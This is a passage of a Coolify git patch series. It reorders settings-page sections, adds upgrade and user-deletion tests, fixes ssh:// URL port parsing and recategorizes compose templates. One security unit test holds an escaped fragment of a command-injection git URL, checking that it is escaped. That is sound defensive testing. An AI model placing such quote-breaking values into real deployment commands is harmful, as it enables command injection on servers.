+                <x-forms.checkbox instantSave id="isGitLfsEnabled" label="LFS"
+                    helper="Allow Git LFS during build process." canGate="update" :canResource="$application" />
+                <x-forms.checkbox instantSave id="isGitShallowCloneEnabled" label="Shallow Clone"
+                    helper="Use shallow cloning (--depth=1) to speed up deployments by only fetching the latest commit history. This reduces clone time and resource usage, especially for large repositories."
+                    canGate="update" :canResource="$application" />
+            @endif
+
+            @if ($application->build_pack === 'dockercompose')
+                <h3 class="pt-4">Docker Compose</h3>
+                <x-forms.checkbox instantSave id="isRawComposeDeploymentEnabled" label="Raw Compose Deployment"
+                    helper="WARNING: Advanced use cases only. Your docker compose file will be deployed as-is. Nothing is modified by Coolify. You need to configure the proxy parts. More info in the <a class='underline dark:text-white' href='https://coolify.io/docs/knowledge-base/docker/compose#raw-docker-compose-deployment'>documentation.</a>"
+                    canGate="update" :canResource="$application" />
+                <x-forms.checkbox instantSave id="isConnectToDockerNetworkEnabled" label="Connect To Predefined Network"
+                    helper="By default, you do not reach the Coolify defined networks.<br>Starting a docker compose based resource will have an internal network. <br>If you connect to a Coolify defined network, you maybe need to use different internal DNS names to connect to a resource.<br><br>For more information, check <a class='underline dark:text-white' target='_blank' href='https://coolify.io/docs/knowledge-base/docker/compose#connect-to-predefined-networks'>this</a>."
+                    canGate="update" :canResource="$application" />
+            @endif
+
+            <h3 class="pt-4">Proxy</h3>
             @if ($application->settings->is_container_label_readonly_enabled)
                 <x-forms.checkbox
                     helper="Your application will be available only on https if your domain starts with https://..."
@@ -49,45 +86,10 @@
                     helper="Readonly labels are disabled. You need to set the labels in the labels section." disabled
                     instantSave id="isStripprefixEnabled" label="Strip Prefixes" canGate="update" :canResource="$application" />
             @endif
-            @if ($application->build_pack === 'dockercompose')
-                <h3>Docker Compose</h3>
-                <x-forms.checkbox instantSave id="isRawComposeDeploymentEnabled" label="Raw Compose Deployment"
-                    helper="WARNING: Advanced use cases only. Your docker compose file will be deployed as-is. Nothing is modified by Coolify. You need to configure the proxy parts. More info in the <a class='underline dark:text-white' href='https://coolify.io/docs/knowledge-base/docker/compose#raw-docker-compose-deployment'>documentation.</a>"
-                    canGate="update" :canResource="$application" />
-            @endif
-            <h3 class="pt-4">Container Names</h3>
-            <x-forms.checkbox
-                helper="The deployed container will have the same name ({{ $application->uuid }}). <span class='font-bold dark:text-warning'>You will lose the rolling update feature!</span>"
-                instantSave id="isConsistentContainerNameEnabled" label="Consistent Container Names" canGate="update"
-                :canResource="$application" />
-            @if ($isConsistentContainerNameEnabled === false)
-                <form class="flex items-end gap-2 " wire:submit.prevent='saveCustomName'>
-                    <x-forms.input
-                        helper="You can add a custom name for your container.<br><br>The name will be converted to slug format when you save it. <span class='font-bold dark:text-warning'>You will lose the rolling update feature!</span>"
-                        instantSave id="customInternalName" label="Custom Container Name" canGate="update"
-                        :canResource="$application" />
-                    <x-forms.button canGate="update" :canResource="$application" type="submit">Save</x-forms.button>
-                </form>
-            @endif
-            @if ($application->build_pack === 'dockercompose')
-                <h3 class="pt-4">Network</h3>
-                <x-forms.checkbox instantSave id="isConnectToDockerNetworkEnabled" label="Connect To Predefined Network"
-                    helper="By default, you do not reach the Coolify defined networks.<br>Starting a docker compose based resource will have an internal network. <br>If you connect to a Coolify defined network, you maybe need to use different internal DNS names to connect to a resource.<br><br>For more information, check <a class='underline dark:text-white' target='_blank' href='https://coolify.io/docs/knowledge-base/docker/compose#connect-to-predefined-networks'>this</a>."
-                    canGate="update" :canResource="$application" />
-            @endif
+
             <h3 class="pt-4">Logs</h3>
             <x-forms.checkbox helper="Drain logs to your configured log drain endpoint in your Server settings."
                 instantSave id="isLogDrainEnabled" label="Drain Logs" canGate="update" :canResource="$application" />
-            @if ($application->git_based())
-                <h3>Git</h3>
-                <x-forms.checkbox instantSave id="isGitSubmodulesEnabled" label="Submodules"
-                    helper="Allow Git Submodules during build process." canGate="update" :canResource="$application" />
-                <x-forms.checkbox instantSave id="isGitLfsEnabled" label="LFS"
-                    helper="Allow Git LFS during build process." canGate="update" :canResource="$application" />
-                <x-forms.checkbox instantSave id="isGitShallowCloneEnabled" label="Shallow Clone"
-                    helper="Use shallow cloning (--depth=1) to speed up deployments by only fetching the latest commit history. This reduces clone time and resource usage, especially for large repositories."
-                    canGate="update" :canResource="$application" />
-            @endif
         </div>
 
     </div>

From c2a3be152e2ef462e2dce187872dd54a0a6d92fd Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Tue, 31 Mar 2026 17:28:24 +0200
Subject: [PATCH 015/102] test(upgrade): add mount tests for cached and
 fallback versions

Covers Upgrade Livewire component mount behavior for:
- initializing latest version from cached versions data
- falling back to 0.0.0 when versions cache is unavailable
---
 tests/Feature/UpgradeComponentTest.php | 37 ++++++++++++++++++++++++++
 1 file changed, 37 insertions(+)
 create mode 100644 tests/Feature/UpgradeComponentTest.php

diff --git a/tests/Feature/UpgradeComponentTest.php b/tests/Feature/UpgradeComponentTest.php
new file mode 100644
index 000000000..612e989ae
--- /dev/null
+++ b/tests/Feature/UpgradeComponentTest.php
@@ -0,0 +1,37 @@
+<?php
+
+use App\Livewire\Upgrade;
+use Illuminate\Support\Facades\Cache;
+use Livewire\Livewire;
+
+it('initializes latest version during mount from cached versions data', function () {
+    config(['constants.coolify.version' => '4.0.0-beta.998']);
+
+    Cache::shouldReceive('remember')
+        ->once()
+        ->with('coolify:versions:all', 3600, Mockery::type(\Closure::class))
+        ->andReturn([
+            'coolify' => [
+                'v4' => [
+                    'version' => '4.0.0-beta.999',
+                ],
+            ],
+        ]);
+
+    Livewire::test(Upgrade::class)
+        ->assertSet('currentVersion', '4.0.0-beta.998')
+        ->assertSet('latestVersion', '4.0.0-beta.999')
+        ->set('isUpgradeAvailable', true)
+        ->assertSee('4.0.0-beta.998')
+        ->assertSee('4.0.0-beta.999');
+});
+
+it('falls back to 0.0.0 during mount when cached versions data is unavailable', function () {
+    Cache::shouldReceive('remember')
+        ->once()
+        ->with('coolify:versions:all', 3600, Mockery::type(\Closure::class))
+        ->andReturn(null);
+
+    Livewire::test(Upgrade::class)
+        ->assertSet('latestVersion', '0.0.0');
+});

From 903837c96a87ca2f49d9b0440bdba148621a5fd1 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?F=C3=A1bio=20Henrique=20Ara=C3=BAjo?=
 <contato@fabioharaujo.com.br>
Date: Wed, 1 Apr 2026 13:19:47 +0000
Subject: [PATCH 016/102] fix: add missing database alteration step for latest
 image version

When upgrading to the latest image version, the database alteration command was missing, causing the application to fail due to schema mismatch. This change ensures the database is properly migrated to the latest version during startup.
---
 templates/compose/logto.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/templates/compose/logto.yaml b/templates/compose/logto.yaml
index ce856c138..ce83a2ec3 100644
--- a/templates/compose/logto.yaml
+++ b/templates/compose/logto.yaml
@@ -10,7 +10,7 @@ services:
     depends_on:
       postgres:
         condition: service_healthy
-    entrypoint: ["sh", "-c", "npm run cli db seed -- --swe && npm start"]
+    entrypoint: ["sh", "-c", "npm run cli db seed -- --swe && npm run alteration deploy latest && npm start"]
     environment:
       - SERVICE_URL_LOGTO
       - TRUST_PROXY_HEADER=1

From f877985e5631c5ed8863c25c215edc111b379a2b Mon Sep 17 00:00:00 2001
From: Iisyourdad <tyler.westbrook1@gmail.com>
Date: Sat, 4 Apr 2026 14:49:34 -0500
Subject: [PATCH 017/102] fix(git): preserve ssh scheme URLs with custom ports

---
 bootstrap/helpers/shared.php              | 18 ++++++++++++------
 tests/Feature/ConvertingGitUrlsTest.php   |  8 ++++++++
 tests/Unit/ApplicationGitSecurityTest.php | 20 ++++++++++++++++++++
 3 files changed, 40 insertions(+), 6 deletions(-)

diff --git a/bootstrap/helpers/shared.php b/bootstrap/helpers/shared.php
index cd773f6a9..88ac01819 100644
--- a/bootstrap/helpers/shared.php
+++ b/bootstrap/helpers/shared.php
@@ -3660,13 +3660,19 @@ function convertGitUrl(string $gitRepository, string $deploymentType, GithubApp|
         }
     }
 
-    preg_match('/(?<=:)\d+(?=\/)/', $gitRepository, $matches);
+    if (str($gitRepository)->contains('://')) {
+        $parsedRepository = parse_url($gitRepository);
 
-    if (count($matches) === 1) {
-        $providerInfo['port'] = $matches[0];
-        $gitHost = str($gitRepository)->before(':');
-        $gitRepo = str($gitRepository)->after('/');
-        $repository = "$gitHost:$gitRepo";
+        if ($parsedRepository !== false && array_key_exists('port', $parsedRepository)) {
+            $providerInfo['port'] = (string) $parsedRepository['port'];
+        }
+    } else {
+        preg_match('/^(?<host>[^:]+):(?<port>\d+)\/(?<path>.+)$/', $gitRepository, $matches);
+
+        if (! empty($matches['port'])) {
+            $providerInfo['port'] = $matches['port'];
+            $repository = "{$matches['host']}:{$matches['path']}";
+        }
     }
 
     return [
diff --git a/tests/Feature/ConvertingGitUrlsTest.php b/tests/Feature/ConvertingGitUrlsTest.php
index 5bcdea1a1..5ff1c8365 100644
--- a/tests/Feature/ConvertingGitUrlsTest.php
+++ b/tests/Feature/ConvertingGitUrlsTest.php
@@ -60,3 +60,11 @@
         'port' => '766',
     ]);
 });
+
+test('convertGitUrlsForSourceAndSshUrlSchemeWithCustomPort', function () {
+    $result = convertGitUrl('ssh://git@192.168.56.11:22222/User/Repo.git', 'source', null);
+    expect($result)->toBe([
+        'repository' => 'ssh://git@192.168.56.11:22222/User/Repo.git',
+        'port' => '22222',
+    ]);
+});
diff --git a/tests/Unit/ApplicationGitSecurityTest.php b/tests/Unit/ApplicationGitSecurityTest.php
index 3603b18db..f983d4bf0 100644
--- a/tests/Unit/ApplicationGitSecurityTest.php
+++ b/tests/Unit/ApplicationGitSecurityTest.php
@@ -99,3 +99,23 @@
     // The malicious payload should be escaped (escapeshellarg wraps and escapes quotes)
     expect($command)->toContain("'https://github.com/user/repo.git'\\''");
 });
+
+it('preserves ssh scheme URLs with custom ports in deploy_key commands', function () {
+    $deploymentUuid = 'test-deployment-uuid';
+
+    $application = new Application;
+    $application->git_branch = 'master';
+    $application->git_repository = 'ssh://git@192.168.56.11:22222/User/Repo.git';
+    $application->private_key_id = 1;
+
+    $privateKey = new PrivateKey;
+    $privateKey->private_key = 'fake-private-key';
+    $application->setRelation('private_key', $privateKey);
+
+    $result = $application->generateGitLsRemoteCommands($deploymentUuid, false);
+
+    expect($result['commands'])
+        ->toContain("'ssh://git@192.168.56.11:22222/User/Repo.git'")
+        ->toContain('-p 22222')
+        ->not->toContain('ssh:/git@192.168.56.11:22222/User/Repo.git');
+});

From 3f564f9b2efe2c55655671ab80cd13eedf8c6be0 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Sun, 5 Apr 2026 18:08:06 +0200
Subject: [PATCH 018/102] fix(user-deletion): handle GitHub app sources across
 team cleanup

Limit team cleanup to apps owned by the deleted team and nullify cross-team application source references before deleting team-owned sources. Adds feature tests covering user deletion with GitHub app-backed applications, preserving system-wide apps, and nullifying external source links.
---
 app/Models/Team.php                           |   6 +-
 app/Models/User.php                           |  17 ++
 .../Feature/UserDeletionWithGithubAppTest.php | 166 ++++++++++++++++++
 3 files changed, 187 insertions(+), 2 deletions(-)
 create mode 100644 tests/Feature/UserDeletionWithGithubAppTest.php

diff --git a/app/Models/Team.php b/app/Models/Team.php
index 8a54a9dee..479bf4e00 100644
--- a/app/Models/Team.php
+++ b/app/Models/Team.php
@@ -76,8 +76,10 @@ protected static function booted()
             foreach ($keys as $key) {
                 $key->delete();
             }
-            $sources = $team->sources();
-            foreach ($sources as $source) {
+            // Only delete sources owned by this team, not system-wide ones from other teams
+            $teamSources = GithubApp::where('team_id', $team->id)->get()
+                ->merge(GitlabApp::where('team_id', $team->id)->get());
+            foreach ($teamSources as $source) {
                 $source->delete();
             }
             $tags = Tag::whereTeamId($team->id)->get();
diff --git a/app/Models/User.php b/app/Models/User.php
index 3199d2024..7a9600ec4 100644
--- a/app/Models/User.php
+++ b/app/Models/User.php
@@ -176,6 +176,23 @@ private static function finalizeTeamDeletion(User $user, Team $team)
             $project->forceDelete();
         }
 
+        // Detach applications from other teams that reference this team's sources,
+        // so the GithubApp/GitlabApp deleting guard doesn't block team deletion
+        $githubAppIds = GithubApp::where('team_id', $team->id)->pluck('id');
+        $gitlabAppIds = GitlabApp::where('team_id', $team->id)->pluck('id');
+
+        if ($githubAppIds->isNotEmpty()) {
+            Application::where('source_type', GithubApp::class)
+                ->whereIn('source_id', $githubAppIds)
+                ->update(['source_id' => null, 'source_type' => null]);
+        }
+
+        if ($gitlabAppIds->isNotEmpty()) {
+            Application::where('source_type', GitlabApp::class)
+                ->whereIn('source_id', $gitlabAppIds)
+                ->update(['source_id' => null, 'source_type' => null]);
+        }
+
         $team->members()->detach($user->id);
         $team->delete();
     }
diff --git a/tests/Feature/UserDeletionWithGithubAppTest.php b/tests/Feature/UserDeletionWithGithubAppTest.php
new file mode 100644
index 000000000..d8986e378
--- /dev/null
+++ b/tests/Feature/UserDeletionWithGithubAppTest.php
@@ -0,0 +1,166 @@
+<?php
+
+use App\Models\Application;
+use App\Models\Environment;
+use App\Models\GithubApp;
+use App\Models\PrivateKey;
+use App\Models\Project;
+use App\Models\Server;
+use App\Models\StandaloneDocker;
+use App\Models\Team;
+use App\Models\User;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+
+uses(RefreshDatabase::class);
+
+beforeEach(function () {
+    // Create root team and admin user (instance admin)
+    $this->rootTeam = Team::factory()->create(['id' => 0, 'name' => 'Root Team']);
+    $this->adminUser = User::factory()->create();
+    $this->rootTeam->members()->attach($this->adminUser->id, ['role' => 'owner']);
+    $this->actingAs($this->adminUser);
+    session(['currentTeam' => $this->rootTeam]);
+});
+
+it('deletes a user whose team has a github app with applications', function () {
+    // Create the user to be deleted with their own team
+    $targetUser = User::factory()->create();
+    $targetTeam = $targetUser->teams()->first(); // created by User::created event
+
+    // Create a private key for the team
+    $privateKey = PrivateKey::factory()->create(['team_id' => $targetTeam->id]);
+
+    // Create a server and destination for the team
+    $server = Server::factory()->create([
+        'team_id' => $targetTeam->id,
+        'private_key_id' => $privateKey->id,
+    ]);
+    $destination = StandaloneDocker::factory()->create(['server_id' => $server->id]);
+
+    // Create a project and environment
+    $project = Project::factory()->create(['team_id' => $targetTeam->id]);
+    $environment = Environment::factory()->create(['project_id' => $project->id]);
+
+    // Create a GitHub App owned by the target team
+    $githubApp = GithubApp::create([
+        'name' => 'Test GitHub App',
+        'team_id' => $targetTeam->id,
+        'private_key_id' => $privateKey->id,
+        'api_url' => 'https://api.github.com',
+        'html_url' => 'https://github.com',
+        'is_public' => false,
+    ]);
+
+    // Create an application that uses the GitHub App as its source
+    $application = Application::factory()->create([
+        'environment_id' => $environment->id,
+        'destination_id' => $destination->id,
+        'destination_type' => StandaloneDocker::class,
+        'source_id' => $githubApp->id,
+        'source_type' => GithubApp::class,
+    ]);
+
+    // Delete the user — this should NOT throw a GithubApp exception
+    $targetUser->delete();
+
+    // Assert user is deleted
+    expect(User::find($targetUser->id))->toBeNull();
+
+    // Assert the GitHub App is deleted
+    expect(GithubApp::find($githubApp->id))->toBeNull();
+
+    // Assert the application is deleted
+    expect(Application::find($application->id))->toBeNull();
+});
+
+it('does not delete system-wide github apps when deleting a different team', function () {
+    // Create a system-wide GitHub App owned by the root team
+    $rootPrivateKey = PrivateKey::factory()->create(['team_id' => $this->rootTeam->id]);
+    $systemGithubApp = GithubApp::create([
+        'name' => 'System GitHub App',
+        'team_id' => $this->rootTeam->id,
+        'private_key_id' => $rootPrivateKey->id,
+        'api_url' => 'https://api.github.com',
+        'html_url' => 'https://github.com',
+        'is_public' => false,
+        'is_system_wide' => true,
+    ]);
+
+    // Create a target user with their own team
+    $targetUser = User::factory()->create();
+    $targetTeam = $targetUser->teams()->first();
+
+    // Create an application on the target team that uses the system-wide GitHub App
+    $privateKey = PrivateKey::factory()->create(['team_id' => $targetTeam->id]);
+    $server = Server::factory()->create([
+        'team_id' => $targetTeam->id,
+        'private_key_id' => $privateKey->id,
+    ]);
+    $destination = StandaloneDocker::factory()->create(['server_id' => $server->id]);
+    $project = Project::factory()->create(['team_id' => $targetTeam->id]);
+    $environment = Environment::factory()->create(['project_id' => $project->id]);
+
+    $application = Application::factory()->create([
+        'environment_id' => $environment->id,
+        'destination_id' => $destination->id,
+        'destination_type' => StandaloneDocker::class,
+        'source_id' => $systemGithubApp->id,
+        'source_type' => GithubApp::class,
+    ]);
+
+    // Delete the target user — should NOT throw or delete the system-wide GitHub App
+    $targetUser->delete();
+
+    // Assert user is deleted
+    expect(User::find($targetUser->id))->toBeNull();
+
+    // Assert the system-wide GitHub App still exists
+    expect(GithubApp::find($systemGithubApp->id))->not->toBeNull();
+});
+
+it('nullifies source references on other teams apps when deleting a user', function () {
+    // Create the user to be deleted with their own team
+    $targetUser = User::factory()->create();
+    $targetTeam = $targetUser->teams()->first();
+
+    // Create a GitHub App owned by the target team
+    $targetPrivateKey = PrivateKey::factory()->create(['team_id' => $targetTeam->id]);
+    $githubApp = GithubApp::create([
+        'name' => 'Target GitHub App',
+        'team_id' => $targetTeam->id,
+        'private_key_id' => $targetPrivateKey->id,
+        'api_url' => 'https://api.github.com',
+        'html_url' => 'https://github.com',
+        'is_public' => false,
+    ]);
+
+    // Create an application on the ADMIN's team that uses the target team's GitHub App
+    $adminPrivateKey = PrivateKey::factory()->create(['team_id' => $this->rootTeam->id]);
+    $adminServer = Server::factory()->create([
+        'team_id' => $this->rootTeam->id,
+        'private_key_id' => $adminPrivateKey->id,
+    ]);
+    $adminDestination = StandaloneDocker::factory()->create(['server_id' => $adminServer->id]);
+    $adminProject = Project::factory()->create(['team_id' => $this->rootTeam->id]);
+    $adminEnvironment = Environment::factory()->create(['project_id' => $adminProject->id]);
+
+    $otherTeamApp = Application::factory()->create([
+        'environment_id' => $adminEnvironment->id,
+        'destination_id' => $adminDestination->id,
+        'destination_type' => StandaloneDocker::class,
+        'source_id' => $githubApp->id,
+        'source_type' => GithubApp::class,
+    ]);
+
+    // Delete the target user — should succeed, nullifying the source reference
+    $targetUser->delete();
+
+    // Assert user is deleted
+    expect(User::find($targetUser->id))->toBeNull();
+
+    // Assert the other team's application still exists but source is nullified
+    $otherTeamApp->refresh();
+    expect($otherTeamApp)->not->toBeNull();
+    expect($otherTeamApp->source_id)->toBeNull();
+    expect($otherTeamApp->source_type)->toBeNull();
+});

From a4fc43564db77fed9b145e26c62cca2fb573de6e Mon Sep 17 00:00:00 2001
From: Iisyourdad <tyler.westbrook1@gmail.com>
Date: Mon, 6 Apr 2026 11:21:58 -0500
Subject: [PATCH 019/102] fix(template): Several templates on wrong catagory.

---
 templates/compose/actualbudget.yaml                          | 2 +-
 templates/compose/argilla.yaml                               | 1 -
 templates/compose/autobase.yaml                              | 1 +
 templates/compose/budge.yaml                                 | 2 +-
 templates/compose/calibre-web-automated-book-downloader.yaml | 1 +
 templates/compose/cap.yaml                                   | 3 ++-
 templates/compose/chaskiq.yaml                               | 2 +-
 templates/compose/chatwoot.yaml                              | 2 +-
 templates/compose/chibisafe.yaml                             | 1 +
 templates/compose/dolibarr.yaml                              | 2 +-
 templates/compose/drizzle-gateway.yaml                       | 2 +-
 templates/compose/elasticsearch-with-kibana.yaml             | 1 +
 templates/compose/espocrm.yaml                               | 2 +-
 templates/compose/firefly.yaml                               | 2 +-
 templates/compose/formbricks.yaml                            | 2 +-
 templates/compose/foundryvtt.yaml                            | 2 +-
 templates/compose/freescout.yaml                             | 2 +-
 templates/compose/freshrss-with-mariadb.yaml                 | 2 +-
 templates/compose/freshrss-with-mysql.yaml                   | 2 +-
 templates/compose/freshrss-with-postgresql.yaml              | 2 +-
 templates/compose/freshrss.yaml                              | 2 +-
 templates/compose/glance.yaml                                | 2 +-
 templates/compose/gotify.yaml                                | 4 ++--
 templates/compose/gowa.yaml                                  | 2 +-
 templates/compose/hatchet.yaml                               | 1 +
 templates/compose/homebox.yaml                               | 2 +-
 templates/compose/invoice-ninja.yaml                         | 2 +-
 templates/compose/miniflux.yaml                              | 2 +-
 templates/compose/newt-pangolin.yaml                         | 1 +
 templates/compose/nocodb.yaml                                | 2 +-
 templates/compose/odoo.yaml                                  | 2 +-
 templates/compose/open-archiver.yaml                         | 1 +
 templates/compose/openpanel.yaml                             | 2 +-
 templates/compose/opnform.yaml                               | 1 +
 templates/compose/orangehrm.yaml                             | 2 +-
 templates/compose/osticket.yaml                              | 2 +-
 templates/compose/palworld.yaml                              | 1 +
 templates/compose/paymenter.yaml                             | 2 +-
 templates/compose/plunk.yaml                                 | 2 +-
 templates/compose/proxyscotch.yaml                           | 1 +
 templates/compose/pydio-cells.yml                            | 1 +
 templates/compose/redmine.yaml                               | 1 +
 templates/compose/sftpgo.yaml                                | 1 +
 templates/compose/signoz.yaml                                | 1 +
 templates/compose/silverbullet.yaml                          | 1 +
 templates/compose/soketi-app-manager.yaml                    | 3 ++-
 templates/compose/twenty.yaml                                | 2 +-
 templates/compose/unleash-with-postgresql.yaml               | 2 +-
 templates/compose/unleash-without-database.yaml              | 2 +-
 templates/compose/usesend.yaml                               | 2 +-
 50 files changed, 52 insertions(+), 36 deletions(-)

diff --git a/templates/compose/actualbudget.yaml b/templates/compose/actualbudget.yaml
index a943ee424..00a043b05 100644
--- a/templates/compose/actualbudget.yaml
+++ b/templates/compose/actualbudget.yaml
@@ -1,6 +1,6 @@
 # documentation: https://actualbudget.org/docs/install/docker
 # slogan: A local-first personal finance app.
-# category: productivity
+# category: finance
 # tags: budgeting,actual,finance,budget,money,expenses,income
 # logo: svgs/actualbudget.png
 # port: 5006
diff --git a/templates/compose/argilla.yaml b/templates/compose/argilla.yaml
index caa567eb3..643d8d70d 100644
--- a/templates/compose/argilla.yaml
+++ b/templates/compose/argilla.yaml
@@ -4,7 +4,6 @@
 # tags: workflow, orchestration, data-pipeline, python, argilla, ai, elasticsearch, datasets, data, machine-learning, data-science, nlp
 # logo: svgs/argilla.png
 # port: 6900
-# category: productivity
 
 services:
   argilla:
diff --git a/templates/compose/autobase.yaml b/templates/compose/autobase.yaml
index bef8fdc05..ad8b5384a 100644
--- a/templates/compose/autobase.yaml
+++ b/templates/compose/autobase.yaml
@@ -1,5 +1,6 @@
 # documentation: https://autobase.tech/docs/
 # slogan: Autobase for PostgreSQL® is an open-source alternative to cloud-managed databases (self-hosted DBaaS).
+# category: database
 # tags: database, postgres, automation, self-hosted, dbaas
 # logo: svgs/autobase.svg
 # port: 80
diff --git a/templates/compose/budge.yaml b/templates/compose/budge.yaml
index 4a1b14b19..3d98408fc 100644
--- a/templates/compose/budge.yaml
+++ b/templates/compose/budge.yaml
@@ -1,6 +1,6 @@
 # documentation: https://github.com/linuxserver/budge
 # slogan: A budgeting personal finance app.
-# category: productivity
+# category: finance
 # tags: personal finance, budgeting, expense tracking
 # logo: svgs/budge.png
 
diff --git a/templates/compose/calibre-web-automated-book-downloader.yaml b/templates/compose/calibre-web-automated-book-downloader.yaml
index 37f8a2752..423e07da9 100644
--- a/templates/compose/calibre-web-automated-book-downloader.yaml
+++ b/templates/compose/calibre-web-automated-book-downloader.yaml
@@ -1,5 +1,6 @@
 # documentation: https://github.com/calibrain/calibre-web-automated-book-downloader
 # slogan: An intuitive web interface for searching and requesting book downloads, designed to work seamlessly with Calibre-Web-Automated.
+# category: media
 # tags: calibre,calibre-web,ebook,library,epub,ereader,kindle,book,reader,download,downloader
 # logo: svgs/calibre-web-automated-with-downloader.png
 # port: 8083
diff --git a/templates/compose/cap.yaml b/templates/compose/cap.yaml
index ab8197c02..2ceff75c1 100644
--- a/templates/compose/cap.yaml
+++ b/templates/compose/cap.yaml
@@ -1,5 +1,6 @@
 # documentation: https://cap.so
 # slogan: Cap is the open source alternative to Loom. Lightweight, powerful, and cross-platform. Record and share in seconds.
+# category: media
 # tags: cap,loom,open,source,low,code
 # logo: svgs/cap.svg
 # port: 5679
@@ -72,4 +73,4 @@ services:
       timeout: 10s
       retries: 5
     volumes:
-      - 'cap_db:/var/lib/mysql'
\ No newline at end of file
+      - 'cap_db:/var/lib/mysql'
diff --git a/templates/compose/chaskiq.yaml b/templates/compose/chaskiq.yaml
index 1f1cddaca..96eab133c 100644
--- a/templates/compose/chaskiq.yaml
+++ b/templates/compose/chaskiq.yaml
@@ -1,6 +1,6 @@
 # documentation: https://chaskiq.io
 # slogan: Chaskiq is an messaging platform for marketing, support & sales
-# category: cms
+# category: helpdesk
 # tags: chaskiq,messaging,chat,marketing,support,sales,open,source,rails,redis,postgresql,sidekiq
 # logo: svgs/chaskiq.png
 # port: 3000
diff --git a/templates/compose/chatwoot.yaml b/templates/compose/chatwoot.yaml
index 1759048f7..407e82bb3 100644
--- a/templates/compose/chatwoot.yaml
+++ b/templates/compose/chatwoot.yaml
@@ -1,6 +1,6 @@
 # documentation: https://www.chatwoot.com/docs/self-hosted/
 # slogan: Delightful customer relationships at scale.
-# category: cms
+# category: helpdesk
 # tags: chatwoot,chat,api,open,source,rails,redis,postgresql,sidekiq
 # logo: svgs/chatwoot.svg
 # port: 3000
diff --git a/templates/compose/chibisafe.yaml b/templates/compose/chibisafe.yaml
index 62ced7a80..60bb8a7d7 100644
--- a/templates/compose/chibisafe.yaml
+++ b/templates/compose/chibisafe.yaml
@@ -1,5 +1,6 @@
 # documentation: https://chibisafe.app/docs/intro
 # slogan: A beautiful and performant vault to save all your files in the cloud.
+# category: storage
 # tags: storage,file-sharing,upload,sharing
 # logo: svgs/chibisafe.svg
 # port: 80
diff --git a/templates/compose/dolibarr.yaml b/templates/compose/dolibarr.yaml
index 0ec07ca32..4cdfc05fe 100644
--- a/templates/compose/dolibarr.yaml
+++ b/templates/compose/dolibarr.yaml
@@ -1,6 +1,6 @@
 # documentation: https://www.dolibarr.org/documentation-home.php
 # slogan: Dolibarr is a modern software package to manage your organization's activity (contacts, quotes, invoices, orders, stocks, agenda, hr, expense reports, accountancy, ecm, manufacturing, ...).
-# category: cms
+# category: productivity
 # tags: crm,ERP
 # logo: svgs/dolibarr.png
 # port: 80
diff --git a/templates/compose/drizzle-gateway.yaml b/templates/compose/drizzle-gateway.yaml
index 59f1c3447..b80f6b51a 100644
--- a/templates/compose/drizzle-gateway.yaml
+++ b/templates/compose/drizzle-gateway.yaml
@@ -1,6 +1,6 @@
 # documentation: https://gateway.drizzle.team/
 # slogan: Free self-hosted Drizzle Studio on steroids
-# category: backend
+# category: devtools
 # tags: drizzle,gateway,self-hosted,open-source,low-code
 # logo: svgs/drizzle.jpeg
 # port: 4983
diff --git a/templates/compose/elasticsearch-with-kibana.yaml b/templates/compose/elasticsearch-with-kibana.yaml
index 2893f9875..96b434427 100644
--- a/templates/compose/elasticsearch-with-kibana.yaml
+++ b/templates/compose/elasticsearch-with-kibana.yaml
@@ -1,5 +1,6 @@
 # documentation: https://www.elastic.co/docs/deploy-manage/deploy/self-managed/install-kibana-with-docker
 # slogan: Elastic + Kibana is a Free and Open Source Search, Monitoring, and Visualization Stack
+# category: search
 # tags: elastic,kibana,elasticsearch,search,visualization,logging,monitoring,observability,analytics,stack,devops
 # logo: svgs/elasticsearch.svg
 # port: 5601
diff --git a/templates/compose/espocrm.yaml b/templates/compose/espocrm.yaml
index 6fec260c4..677b1fa64 100644
--- a/templates/compose/espocrm.yaml
+++ b/templates/compose/espocrm.yaml
@@ -1,6 +1,6 @@
 # documentation: https://docs.espocrm.com
 # slogan: EspoCRM is a free and open-source CRM platform.
-# category: cms
+# category: productivity
 # tags: crm, self-hosted, open-source, workflow, automation, project management
 # logo: svgs/espocrm.svg
 # port: 80
diff --git a/templates/compose/firefly.yaml b/templates/compose/firefly.yaml
index 284a7c696..057a41f08 100644
--- a/templates/compose/firefly.yaml
+++ b/templates/compose/firefly.yaml
@@ -1,6 +1,6 @@
 # documentation: https://firefly-iii.org
 # slogan: A personal finances manager that can help you save money.
-# category: productivity
+# category: finance
 # tags: finance, money, personal, manager
 # logo: svgs/firefly.svg
 # port: 8080
diff --git a/templates/compose/formbricks.yaml b/templates/compose/formbricks.yaml
index 17d462486..7a24ec210 100644
--- a/templates/compose/formbricks.yaml
+++ b/templates/compose/formbricks.yaml
@@ -1,6 +1,6 @@
 # documentation: https://formbricks.com/docs/self-hosting/setup/docker
 # slogan: Open Source Survey Platform
-# category: analytics
+# category: productivity
 # tags: form, builder, forms, survey
 # logo: svgs/formbricks.png
 # port: 3000
diff --git a/templates/compose/foundryvtt.yaml b/templates/compose/foundryvtt.yaml
index 3584722fa..d6ab28bae 100644
--- a/templates/compose/foundryvtt.yaml
+++ b/templates/compose/foundryvtt.yaml
@@ -1,6 +1,6 @@
 # documentation: https://foundryvtt.com/kb/
 # slogan: Foundry Virtual Tabletop is a self-hosted & modern roleplaying platform
-# category: media
+# category: games
 # tags: foundryvtt,foundry,vtt,ttrpg,roleplaying
 # logo: svgs/foundryvtt.png
 # port: 30000
diff --git a/templates/compose/freescout.yaml b/templates/compose/freescout.yaml
index 46c99d0df..247220f96 100644
--- a/templates/compose/freescout.yaml
+++ b/templates/compose/freescout.yaml
@@ -1,6 +1,6 @@
 # documentation: https://github.com/freescout-help-desk/freescout/wiki/
 # slogan: FreeScout is the super lightweight and powerful free open source help desk and shared inbox written in PHP (Laravel framework).
-# category: cms
+# category: helpdesk
 # tags: helpdesk, support, ticketing, customer-support
 # logo: svgs/freescout.png
 # port: 80
diff --git a/templates/compose/freshrss-with-mariadb.yaml b/templates/compose/freshrss-with-mariadb.yaml
index 3b150dfac..dc0e18916 100644
--- a/templates/compose/freshrss-with-mariadb.yaml
+++ b/templates/compose/freshrss-with-mariadb.yaml
@@ -1,6 +1,6 @@
 # documentation: https://freshrss.org/index.html
